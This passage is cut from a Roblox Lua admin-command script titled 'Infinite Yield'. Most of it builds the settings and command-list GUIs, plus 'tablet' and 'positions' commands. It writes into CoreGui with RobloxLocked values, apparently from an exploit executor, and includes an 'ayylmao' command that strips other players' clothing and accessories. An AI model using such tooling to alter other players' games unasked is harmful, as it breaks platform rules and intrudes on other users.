= Color3.new(1, 1, 1) bindInput.Position = UDim2.new(0, 8, 0, 241) bindInput.Size = UDim2.new(0, 30, 0, 30) bindInput.AutoButtonColor = false bindInput.Style = Enum.ButtonStyle.RobloxRoundDropdownButton bindInput.Font = Enum.Font.SourceSans bindInput.FontSize = Enum.FontSize.Size14 bindInput.Text = "" Input.Name = "Input" Input.Parent = bindInput Input.BackgroundColor3 = Color3.new(1, 1, 1) Input.BackgroundTransparency = 1 Input.Position = UDim2.new(0, -8, 0, -8) Input.Size = UDim2.new(0, 20, 0, 20) Input.Font = Enum.Font.SourceSansBold Input.FontSize = Enum.FontSize.Size18 Input.MultiLine = true Input.Text = ";" Input.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294) Input.TextWrapped = true Input.TextYAlignment = Enum.TextYAlignment.Top preText.Name = "preText" preText.Parent = FeedbackMain preText.BackgroundColor3 = Color3.new(1, 1, 1) preText.BackgroundTransparency = 1 preText.Position = UDim2.new(0, 0, 0, 118) preText.Size = UDim2.new(1, 0, 0, 30) preText.Font = Enum.Font.SourceSansBold preText.FontSize = Enum.FontSize.Size18 preText.Text = "Prefix" preText.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) setpre.Name = "setpre" setpre.Parent = FeedbackMain setpre.BackgroundColor3 = Color3.new(1, 1, 1) setpre.BorderSizePixel = 5 setpre.Position = UDim2.new(0, 235, 0, 120) setpre.Size = UDim2.new(0, 40, 0, 25) setpre.Style = Enum.ButtonStyle.RobloxRoundDropdownButton setpre.Font = Enum.Font.ArialBold setpre.FontSize = Enum.FontSize.Size18 setpre.Text = "Set" everyone.Name = "everyone" everyone.Parent = FeedbackMain everyone.BackgroundColor3 = Color3.new(0, 0, 0) everyone.BackgroundTransparency = 0.80000001192093 everyone.BorderColor3 = Color3.new(0, 0, 0) everyone.Position = UDim2.new(0, 230, 0, 217) everyone.Size = UDim2.new(0, 50, 0, 20) everyone.Font = Enum.Font.SourceSans everyone.FontSize = Enum.FontSize.Size14 everyone.Text = "Everyone" everyone.TextColor3 = Color3.new(1, 1, 1) JLtext.Name = "JLtext" JLtext.Parent = FeedbackMain JLtext.BackgroundColor3 = Color3.new(1, 1, 1) JLtext.BackgroundTransparency = 1 JLtext.Position = UDim2.new(0, 0, 0, 197) JLtext.Size = UDim2.new(1, 0, 0, 30) JLtext.Font = Enum.Font.SourceSansBold JLtext.FontSize = Enum.FontSize.Size14 JLtext.Text = "Joined / Left Notifications" JLtext.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) CheckBoxJL.Name = "CheckBoxJL" CheckBoxJL.Parent = FeedbackMain CheckBoxJL.BackgroundTransparency = 1 CheckBoxJL.Position = UDim2.new(0, 10, 0, 197) CheckBoxJL.Size = UDim2.new(0, 30, 0, 30) CheckBoxJL.Image = "http://www.roblox.com/asset/?id=65492641" friends.Name = "friends" friends.Parent = FeedbackMain friends.BackgroundColor3 = Color3.new(0, 0, 0) friends.BackgroundTransparency = 0.80000001192093 friends.BorderColor3 = Color3.new(1, 1, 1) friends.Position = UDim2.new(0, 230, 0, 192) friends.Size = UDim2.new(0, 50, 0, 20) friends.Font = Enum.Font.SourceSans friends.FontSize = Enum.FontSize.Size14 friends.Text = "Friends" friends.TextColor3 = Color3.new(1, 1, 1) InputBox.Name = "InputBox" InputBox.Parent = FeedbackMain InputBox.BackgroundColor3 = Color3.new(1, 1, 1) InputBox.Position = UDim2.new(0, 8, 0, 120) InputBox.Size = UDim2.new(0, 30, 0, 30) InputBox.AutoButtonColor = false InputBox.Style = Enum.ButtonStyle.RobloxRoundDropdownButton InputBox.Font = Enum.Font.SourceSans InputBox.FontSize = Enum.FontSize.Size14 InputBox.Text = "" Input_2.Name = "Input" Input_2.Parent = InputBox Input_2.BackgroundColor3 = Color3.new(1, 1, 1) Input_2.BackgroundTransparency = 1 Input_2.Position = UDim2.new(0, -8, 0, -8) Input_2.Size = UDim2.new(0, 20, 0, 20) Input_2.Font = Enum.Font.SourceSansBold Input_2.FontSize = Enum.FontSize.Size18 Input_2.MultiLine = true Input_2.Text = ";" Input_2.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294) Input_2.TextWrapped = true Input_2.TextYAlignment = Enum.TextYAlignment.Top MTText.Name = "MTText" MTText.Parent = FeedbackMain MTText.BackgroundColor3 = Color3.new(1, 1, 1) MTText.BackgroundTransparency = 1 MTText.Position = UDim2.new(0, 0, 0, 158) MTText.Size = UDim2.new(1, 0, 0, 30) MTText.Font = Enum.Font.SourceSansBold MTText.FontSize = Enum.FontSize.Size18 MTText.Text = "Message Seconds" MTText.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) setMT.Name = "setMT" setMT.Parent = FeedbackMain setMT.BackgroundColor3 = Color3.new(1, 1, 1) setMT.BorderSizePixel = 5 setMT.Position = UDim2.new(0, 235, 0, 159) setMT.Size = UDim2.new(0, 40, 0, 25) setMT.Style = Enum.ButtonStyle.RobloxRoundDropdownButton setMT.Font = Enum.Font.ArialBold setMT.FontSize = Enum.FontSize.Size18 setMT.Text = "Set" CheckBoxS.Name = "CheckBoxS" CheckBoxS.Parent = FeedbackMain CheckBoxS.BackgroundTransparency = 1 CheckBoxS.Position = UDim2.new(0, 10, 0, 78) CheckBoxS.Size = UDim2.new(0, 30, 0, 30) CheckBoxS.Image = "http://www.roblox.com/asset/?id=65492641" slocktext.Name = "slocktext" slocktext.Parent = FeedbackMain slocktext.BackgroundColor3 = Color3.new(1, 1, 1) slocktext.BackgroundTransparency = 1 slocktext.Position = UDim2.new(0, 0, 0, 79) slocktext.Size = UDim2.new(1, 0, 0, 30) slocktext.Font = Enum.Font.SourceSansBold slocktext.FontSize = Enum.FontSize.Size14 slocktext.Text = "Allow Friends On Serverlock" slocktext.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) barBind.Name = "barBind" barBind.Parent = FeedbackMain barBind.BackgroundColor3 = Color3.new(1, 1, 1) barBind.BackgroundTransparency = 1 barBind.Position = UDim2.new(0, 0, 0, 242) barBind.Size = UDim2.new(1, 0, 0, 30) barBind.Font = Enum.Font.SourceSansBold barBind.FontSize = Enum.FontSize.Size18 barBind.Text = "Command Bar Keybind" barBind.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) setBind.Name = "setBind" setBind.Parent = FeedbackMain setBind.BackgroundColor3 = Color3.new(1, 1, 1) setBind.BorderSizePixel = 5 setBind.Position = UDim2.new(0, 235, 0, 245) setBind.Size = UDim2.new(0, 40, 0, 25) setBind.Style = Enum.ButtonStyle.RobloxRoundDropdownButton setBind.Font = Enum.Font.ArialBold setBind.FontSize = Enum.FontSize.Size18 setBind.Text = "Set" MtimeInput.Name = "MtimeInput" MtimeInput.Parent = FeedbackMain MtimeInput.BackgroundColor3 = Color3.new(1, 1, 1) MtimeInput.Position = UDim2.new(0, 8, 0, 159) MtimeInput.Size = UDim2.new(0, 30, 0, 30) MtimeInput.AutoButtonColor = false MtimeInput.Style = Enum.ButtonStyle.RobloxRoundDropdownButton MtimeInput.Font = Enum.Font.SourceSans MtimeInput.FontSize = Enum.FontSize.Size14 MtimeInput.Text = "" Input_3.Name = "Input" Input_3.Parent = MtimeInput Input_3.BackgroundColor3 = Color3.new(1, 1, 1) Input_3.BackgroundTransparency = 1 Input_3.Position = UDim2.new(0, -8, 0, -8) Input_3.Size = UDim2.new(0, 20, 0, 20) Input_3.Font = Enum.Font.SourceSansBold Input_3.FontSize = Enum.FontSize.Size18 Input_3.MultiLine = true Input_3.Text = "7" Input_3.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294) Input_3.TextWrapped = true Input_3.TextYAlignment = Enum.TextYAlignment.Top size.Name = "size" size.Parent = holder size.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059) size.BackgroundTransparency = 1 size.Position = UDim2.new(1, -301, 1, -300) size.Size = UDim2.new(0, 275, 0, 300) size.ZIndex = 2 MAIN.Name = "MAIN" MAIN.Parent = size MAIN.BackgroundColor3 = maincolor MAIN.BackgroundTransparency = 0.5 MAIN.BorderColor3 = Color3.new(0, 0, 0) MAIN.BorderSizePixel = 0 MAIN.Position = UDim2.new(0.0181818176, 1, 1.00333333, -305) MAIN.Size = UDim2.new(0, 290, 0, 300) Title_2.Name = "Title" Title_2.Parent = MAIN Title_2.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059) Title_2.BackgroundTransparency = 1 Title_2.Size = UDim2.new(1, 0, 0, 30) Title_2.Font = Enum.Font.SourceSansBold Title_2.FontSize = Enum.FontSize.Size24 Title_2.Text = "Commands" Title_2.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) Example.Name = "Example" Example.Parent = MAIN Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BackgroundTransparency = 1 Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BorderSizePixel = 0 Example.Size = UDim2.new(0, 190, 0, 20) Example.Visible = false Example.Font = Enum.Font.SourceSansBold Example.TextSize = 20 Example.Text = "txt" Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) Example.TextStrokeTransparency = 0 Example.TextXAlignment = Enum.TextXAlignment.Left Example.ZIndex = 6 Search.Name = "Search" Search.Parent = MAIN Search.BackgroundColor3 = Color3.new(0, 0, 0) Search.BackgroundTransparency = 0.69999998807907 Search.BorderColor3 = Color3.new(1, 1, 1) Search.Position = UDim2.new(0.5, -127, 0.200000003, -25) Search.Size = UDim2.new(0, 250, 0, 20) Search.ClearTextOnFocus = false Search.Font = Enum.Font.SourceSansBold Search.FontSize = Enum.FontSize.Size18 Search.Text = "Search" Search.TextColor3 = Color3.new(1, 1, 1) Search.TextStrokeColor3 = Color3.new(0.258824, 0.258824, 0.258824) Search.TextStrokeTransparency = 0 CMDss.Name = "CMDs" CMDss.Parent = MAIN CMDss.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDss.BackgroundTransparency = 1 CMDss.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDss.BorderSizePixel = 0 CMDss.Position = UDim2.new(0, 10, 0, 65) CMDss.Size = UDim2.new(0, 280, 0, 230) CMDss.BottomImage = "rbxasset://textures/blackBkg_square.png" CMDss.CanvasSize = UDim2.new(0, 0, 0, 5260) CMDss.MidImage = "rbxasset://textures/blackBkg_square.png" CMDss.ScrollBarThickness = 8 CMDss.TopImage = "rbxasset://textures/blackBkg_square.png" ------------ ---Notify--- ------------ notifyMAIN = Instance.new('ScreenGui', DATA) notifyMAIN.Name = 'Notification' notifyNOT = Instance.new('Frame', notifyMAIN) notifyNOT.Name = 'NOTIFY' notifyNOT.BackgroundColor = BrickColor.new(0,0,0) notifyNOT.BackgroundTransparency = 1 notifyNOT.BorderColor = BrickColor.new(0,0,0) notifyNOT.BorderSizePixel = 2 notifyNOT.Position = UDim2.new(0,0,-0.06,0) notifyNOT.Size = UDim2.new(1,0,0,-40) notifyNOTE = Instance.new('TextLabel', notifyNOT) notifyNOTE.Name = 'NOTE' notifyNOTE.BackgroundColor = BrickColor.new(255,255,255) notifyNOTE.BackgroundTransparency = 1 notifyNOTE.BorderColor = BrickColor.new(255,255,255) notifyNOTE.BorderSizePixel = 0 notifyNOTE.Size = UDim2.new(1,0,1,0) notifyNOTE.ZIndex = 4 notifyNOTE.FontSize = 'Size18' notifyNOTE.Font = 'SourceSansBold' notifyNOTE.Text = 'NOTIFY' notifyNOTE.TextColor = BrickColor.new(255,255,255) notifyNOTE.TextStrokeColor3 = Color3.new(0,0,0) notifyNOTE.TextStrokeTransparency = 0.8 addcmd('ayylmao','ayy lmao',{'alien'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Shirt") then pchar.Shirt:Destroy() end if pchar:FindFirstChild("Pants") then pchar.Pants:Destroy() end if pchar:FindFirstChild("Shirt Graphic") then pchar["Shirt Graphic"].Graphic = "" end for i,v in pairs(pchar:GetChildren()) do if v:IsA("Accessory") then v:Destroy() end end local ayylmao = DATA.ayylmao:Clone() ayylmao.Parent = pchar local BC = pchar["Body Colors"] BC.HeadColor = BrickColor.new("Fossil") BC.LeftArmColor = BrickColor.new("Fossil") BC.LeftLegColor = BrickColor.new("Fossil") BC.RightArmColor = BrickColor.new("Fossil") BC.RightLegColor = BrickColor.new("Fossil") BC.TorsoColor = BrickColor.new("Fossil") end end) ----------------------------------- ----Commands/Settings Functions---- ----------------------------------- HKFolder = Instance.new("Folder", game.CoreGui) for i,v in pairs(HK) do HKValue = Instance.new("StringValue", HKFolder) HKValue.Value = v HKValue.RobloxLocked = true end CMDsFolder = Instance.new("Folder", game.CoreGui) for i,v in pairs(CMDs) do CMDsValue = Instance.new("StringValue", CMDsFolder) CMDsValue.Value = v CMDsValue.RobloxLocked = true end cmdOpen = false local function commands() if cmdOpen == false then cmdOpen = true local cmds = cp:Clone() cmds.Parent = game.CoreGui local HKV = HKFolder:GetChildren() local CMDsV = CMDsFolder:GetChildren() cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.01,true) wait(0.01) cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-310),"Out","Quad",0.2,true) wait(0.1) cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-300),"Out","Quad",0.2,true) SettingsGUI = game.CoreGui.cp.Frame.holder if Nfriends == true then SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1) SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) elseif Nfriends == false then SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0) SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1) end --joined/left friend option SettingsGUI.FeedbackMain.friends.MouseButton1Click:connect(function() SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1) SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) Nfriends = true updatefile() end) SettingsGUI.FeedbackMain.everyone.MouseButton1Click:connect(function() SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(0,0,0) SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(1,1,1) Nfriends = false updatefile() end) --Message time SettingsGUI.FeedbackMain.setMT.MouseButton1Click:Connect(function() wait() Mseconds = SettingsGUI.FeedbackMain.MtimeInput.Input.Text Notify('Set message time to ' ..SettingsGUI.FeedbackMain.MtimeInput.Input.Text.. ' second(s)') updatefile() end) --CMDBAR keybind SettingsGUI.FeedbackMain.setBind.MouseButton1Click:Connect(function() wait() cmdbarbind = SettingsGUI.FeedbackMain.bindInput.Input.Text cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar' Notify('Set the command bar keybind to "' ..SettingsGUI.FeedbackMain.bindInput.Input.Text .. '"' ) updatefile() end) --Change prefix SettingsGUI.FeedbackMain.setpre.MouseButton1Click:Connect(function() wait() cmdprefix = SettingsGUI.FeedbackMain.InputBox.Input.Text Notify('Set prefix to "' .. SettingsGUI.FeedbackMain.InputBox.Input.Text .. '"') updatefile() end) --Check Box for notify checked = "http://www.roblox.com/asset/?id=65492641" unchecked = "http://www.roblox.com/asset/?id=65492651" if suggestionstoggle == true then SettingsGUI.FeedbackMain.CheckBox.Image = checked else SettingsGUI.FeedbackMain.CheckBox.Image = unchecked end SettingsGUI.FeedbackMain.CheckBox.MouseButton1Down:connect(function() if suggestionstoggle == true then suggestionstoggle = false updatefile() SettingsGUI.FeedbackMain.CheckBox.Image = unchecked else suggestionstoggle = true updatefile() SettingsGUI.FeedbackMain.CheckBox.Image = checked end end) --Check Box for allow friends on serverlock checked2 = "http://www.roblox.com/asset/?id=65492641" unchecked2 = "http://www.roblox.com/asset/?id=65492651" if allowfriends == true then SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 else SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 end SettingsGUI.FeedbackMain.CheckBoxS.MouseButton1Down:connect(function() if allowfriends == true then allowfriends = false updatefile() SettingsGUI.FeedbackMain.CheckBoxS.Image = unchecked2 else allowfriends = true updatefile() SettingsGUI.FeedbackMain.CheckBoxS.Image = checked2 end end) --Check Box for JoinedLeft notifications checked3 = "http://www.roblox.com/asset/?id=65492641" unchecked3 = "http://www.roblox.com/asset/?id=65492651" if JLnotify == true then SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 else SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 end SettingsGUI.FeedbackMain.CheckBoxJL.MouseButton1Down:connect(function() if JLnotify == true then JLnotify = false updatefile() SettingsGUI.FeedbackMain.CheckBoxJL.Image = unchecked3 else JLnotify = true SettingsGUI.FeedbackMain.CheckBoxJL.Image = checked3 updatefile() SettingsGUI.FeedbackMain.friends.BorderColor3 = Color3.new(1,1,1) SettingsGUI.FeedbackMain.everyone.BorderColor3 = Color3.new(0,0,0) end end) closed = false cmds.Frame.holder.bar.cmds.MouseButton1Click:Connect(function() closed = false cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-310),"Out","Quad",0.2,true) wait(0.1) cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-300),"Out","Quad",0.2,true) wait(0.2) cmds.Frame.holder.bar.Hide.Visible = true cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true) end) cmds.Frame.holder.bar.settings.MouseButton1Click:Connect(function() closed = false cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-600,1,-300),"Out","Quad",0.2,true) wait(0.1) cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,1.018,-310),"Out","Quad",0.2,true) wait(0.2) cmds.Frame.holder.bar.Hide.Visible = true cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true) end) cmds.Frame.holder.bar.Hide.MouseButton1Click:Connect(function() if closed == false then closed = true cmds.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-640),"Out","Quad",0.2,true) cmds.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,0.018,-310),"Out","Quad",0.2,true) wait(0.2) cmds.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,0),"Out","Quad",0.2,true) wait(0.2) cmds.Frame.holder.bar.Hide.Visible = false end end) cmds.Frame.holder.bar.Exit.MouseButton1Click:Connect(function() closed = false Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text = Mseconds cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,0),"Out","Quad",0.2,true) wait(0.3) cmds:Destroy() cmdOpen = false end) cmds.Frame.holder:TweenSize(UDim2.new(0,300,0,330),"Out","Quad",0.2,true) searchbar() for i = 1, #HKV do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone() newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = "" .. HKV[i].Value CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30) Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text = Mseconds end for i = 1, #CMDsV do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = cmds.Frame.holder.size.MAIN.Example:Clone() newcmd.Parent = cmds.Frame.holder.size.MAIN.CMDs newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = "" .. CMDsV[i].Value CMDss.CanvasSize = UDim2.new(0,0,0, Position + 30) Input.Text = cmdbarbind Input_2.Text = cmdprefix Input_3.Text = Mseconds end else closed = false game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-310),"Out","Quad",0.2,true) wait(0.1) game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-300),"Out","Quad",0.2,true) wait(0.2) game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true) end end function searchbar() local CSP = game.CoreGui.cp.Frame.holder.size.MAIN local main = CSP local frame = CSP:WaitForChild('CMDs') local gui = CSP:WaitForChild('Search') local focused = false Match = function(name,str) return name:lower():find(str:lower()) and true end gui.FocusLost:connect(function(enterpressed) gui.Text = "Search" end) IndexContents = function(str,bool) local Index,SizeY = 0,0 for i,v in next, frame:GetChildren() do if bool then if Match(v.Text,str) then Index = Index + 1 v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-v.AbsoluteSize.Y) v.Visible = true SizeY = SizeY + v.AbsoluteSize.Y frame.CanvasSize = UDim2.new(0,0,0,SizeY) else v.Visible = false end else v.Visible = true SizeY = SizeY + v.AbsoluteSize.Y frame.CanvasSize = UDim2.new(0,0,0,SizeY) end end end game:GetService('RunService').Stepped:connect(function() if gui:IsFocused() and gui.Text == "Search" then gui.Text = '' end end) gui.Changed:connect(function() if gui:IsFocused() then IndexContents(gui.Text,true) end end) IndexContents('',true) end addcmd('settings','opens settings window',{'toggles'}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else commands() searchbar() wait(0.1) closed = false game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-600,1,-300),"Out","Quad",0.2,true) wait(0.1) game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,-301,1.018,-310),"Out","Quad",0.2,true) wait(0.1) game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0.2,true) end end) function movetab(speaker,PART) game:GetService('RunService').Stepped:connect(function() if PART ~= nil and speaker ~= nil and speaker.Character:FindFirstChild('HumanoidRootPart') then PART.Locked = true local cf = speaker.Character.HumanoidRootPart.CFrame local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0) PART.CFrame = newcf end end) end hastab = {} addcmd('tablet','opens tablet gui',{}, function(args, speaker) for _, child in pairs( workspace:GetChildren()) do if child.Name == speaker.Name .. "TAB" then child:Destroy() end end game:GetService('Chat'):Chat(speaker.Character, 'The command to close is "'.. cmdprefix .. 'dismiss"', 1) local GUI = Instance.new("SurfaceGui") local holder = Instance.new("Frame") local bar = Instance.new("Frame") local Title = Instance.new("TextLabel") local MAIN = Instance.new("Frame") local Example = Instance.new("TextLabel") local CMDs = Instance.new("ScrollingFrame") local PART = Instance.new("Part") PART.Name = speaker.Name .. 'TAB' PART.Color = maincolor PART.Size = Vector3.new(7, 7.8, 0.2) PART.Transparency = 0 PART.Locked = true PART.CanCollide = false PART.Parent = workspace PART.Anchored = true PART.Material = "Neon" local GUI = Instance.new("SurfaceGui") local holder = Instance.new("Frame") local bar = Instance.new("Frame") local Title = Instance.new("TextLabel") local MAIN = Instance.new("Frame") local Example = Instance.new("TextLabel") local CMDs = Instance.new("ScrollingFrame") GUI.Name = "GUI" GUI.Parent = PART GUI.CanvasSize = Vector2.new(500, 600) GUI.Face = Enum.NormalId.Back holder.Name = "holder" holder.Parent = GUI holder.BackgroundColor3 = Color3.new(1, 1, 1) holder.BackgroundTransparency = 1 holder.BorderSizePixel = 2 holder.Position = UDim2.new(0, 0, 0, 10) holder.Size = UDim2.new(0, 300, 0, 330) holder.ZIndex = 2 bar.Name = "bar" bar.Parent = holder bar.BackgroundColor3 = Color3.new(0, 0, 0) bar.BackgroundTransparency = 0.89999997615814 bar.BorderSizePixel = 0 bar.Position = UDim2.new(0, 10, 1, -330) bar.Size = UDim2.new(0, 480, 0, 33) Title.Name = "Title" Title.Parent = bar Title.BackgroundColor3 = Color3.new(0.639216, 0.635294, 0.647059) Title.BackgroundTransparency = 1 Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold Title.FontSize = Enum.FontSize.Size24 Title.Text = "[Infinite Yield] Command List" Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) MAIN.Name = "MAIN" MAIN.Parent = holder MAIN.BackgroundColor3 = Color3.new(0, 0, 0) MAIN.BackgroundTransparency = 0.89999997615814 MAIN.BorderSizePixel = 0 MAIN.Position = UDim2.new(0, 10, 1, -300) MAIN.Size = UDim2.new(0, 480, 0, 550) Example.Name = "Example" Example.Parent = MAIN Example.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BackgroundTransparency = 1 Example.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) Example.BorderSizePixel = 0 Example.Size = UDim2.new(0, 190, 0, 40) Example.Visible = false Example.Font = Enum.Font.SourceSansBold Example.FontSize = Enum.FontSize.Size36 Example.Text = "txt" Example.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549) Example.TextStrokeTransparency = 0 Example.TextXAlignment = Enum.TextXAlignment.Left Example.ZIndex = 6 CMDs.Name = "CMDs" CMDs.Parent = MAIN CMDs.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDs.BackgroundTransparency = 1 CMDs.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667) CMDs.BorderSizePixel = 0 CMDs.Size = UDim2.new(0, 480, 0, 550) CMDs.BottomImage = "rbxasset://textures/blackBkg_square.png" CMDs.CanvasSize = UDim2.new(0, 0, 0, 4880) CMDs.MidImage = "rbxasset://textures/blackBkg_square.png" CMDs.ScrollBarThickness = 15 CMDs.TopImage = "rbxasset://textures/blackBkg_square.png" local CMDsV = CMDsFolder:GetChildren() for i = 1, #CMDsV do local YSize = 35 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = CMDs newcmd.Visible = true newcmd.Position = UDim2.new(0,10,0, Position + 1) newcmd.Text = "" .. CMDsV[i].Value CMDs.CanvasSize = UDim2.new(0,0,0, Position + 40) end local cf = speaker.Character.HumanoidRootPart.CFrame local newcf = cf + cf.lookVector * 6 + Vector3.new(0, 1, 0) PART.CFrame = newcf speaker.Character.Humanoid.Died:connect(function() PART:Destroy() end) wait(1) PART.Transparency = 0.1 wait(0.05) PART.Transparency = 0.2 wait(0.05) PART.Transparency = 0.3 wait(0.05) PART.Transparency = 0.4 wait(0.05) PART.Transparency = 0.5 wait(0.05) PART.Transparency = 0.6 wait(0.05) if FindTable(hastab, speaker.Name) then movetab(speaker,PART) return end table.insert(hastab, speaker.Name) movetab(speaker,PART) end) function updatepositions() if PList then PList:ClearAllChildren() PList.CanvasSize = UDim2.new(0, 0, 0, 10) for i = 1, #WayPoints do local YSize = 25 local Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = PList newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text = " " .. WayPoints[i].NAME .. ": " .. WayPoints[i].COORD[1] .. ", " .. WayPoints[i].COORD[2] .. ", " .. WayPoints[i].COORD[3] PList.CanvasSize = UDim2.new(0,0,0, Position + 30) local goto = Instance.new("TextButton") goto.Name = "goto" goto.Parent = PList goto.BackgroundColor3 = Color3.new(255, 255, 255) goto.BackgroundTransparency = 0.30000001192093 goto.BorderColor3 = Color3.new(1, 0, 0) goto.BorderSizePixel = 0 goto.Position = UDim2.new(0,-10,0, Position + 5) goto.Size = UDim2.new(0, 20, 0, 20) goto.FontSize = Enum.FontSize.Size14 goto.Text = "" goto.ZIndex = 6 goto.MouseButton1Click:Connect(function() execCmd("loadpos "..LP.Name.." "..WayPoints[i].NAME) end) end end end posopen = false addcmd("positions","lists waypoints",{'pos'}, function(args, speaker) if posopen == false then posopen = true local Pos = Instance.new("ScreenGui") local drag = Instance.new("Frame") local PromptDialog = Instance.new("Frame") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ContainerFrame = Instance.new("Frame") PList = Instance.new("ScrollingFrame") Pos.Name = "Pos" Pos.Parent = game.CoreGui drag.Name = "drag" drag.Parent = Pos drag.Active = true drag.BackgroundColor3 = Color3.new(1, 1, 1) drag.BackgroundTransparency = 1 drag.Draggable = true drag.Position = UDim2.new(0.5, -150, 0, -400) drag.Size = UDim2.new(0, 290, 0, 30) PromptDialog.Name = "PromptDialog" PromptDialog.Parent = drag PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0) PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0 PromptDialog.Position = UDim2.new(0, -10, 0, 0) PromptDialog.Size = UDim2.new(0, 310, 0, 300) PromptDialog.ZIndex = 8 shadow.Name = "shadow" shadow.Parent = PromptDialog shadow.BackgroundColor3 = maincolor shadow.BackgroundTransparency = 0.30000001192093 shadow.BorderColor3 = Color3.new(0, 0, 0) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 290, 0, 26) PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Position = UDim2.new(0, 8, 0, -3) PopupText.Size = UDim2.new(1, -16, 0.538461566, 0) PopupText.ZIndex = 110 PopupText.Font = Enum.Font.SourceSansBold PopupText.FontSize = Enum.FontSize.Size28 PopupText.Text = "Positions" PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97) PopupText.TextStrokeTransparency = 0 PopupText.TextWrapped = true PopupText.TextYAlignment = Enum.TextYAlignment.Top Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency = 0.30000001192093 Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.BorderSizePixel = 0 Exit.Position = UDim2.new(0, 267, 0, 3) 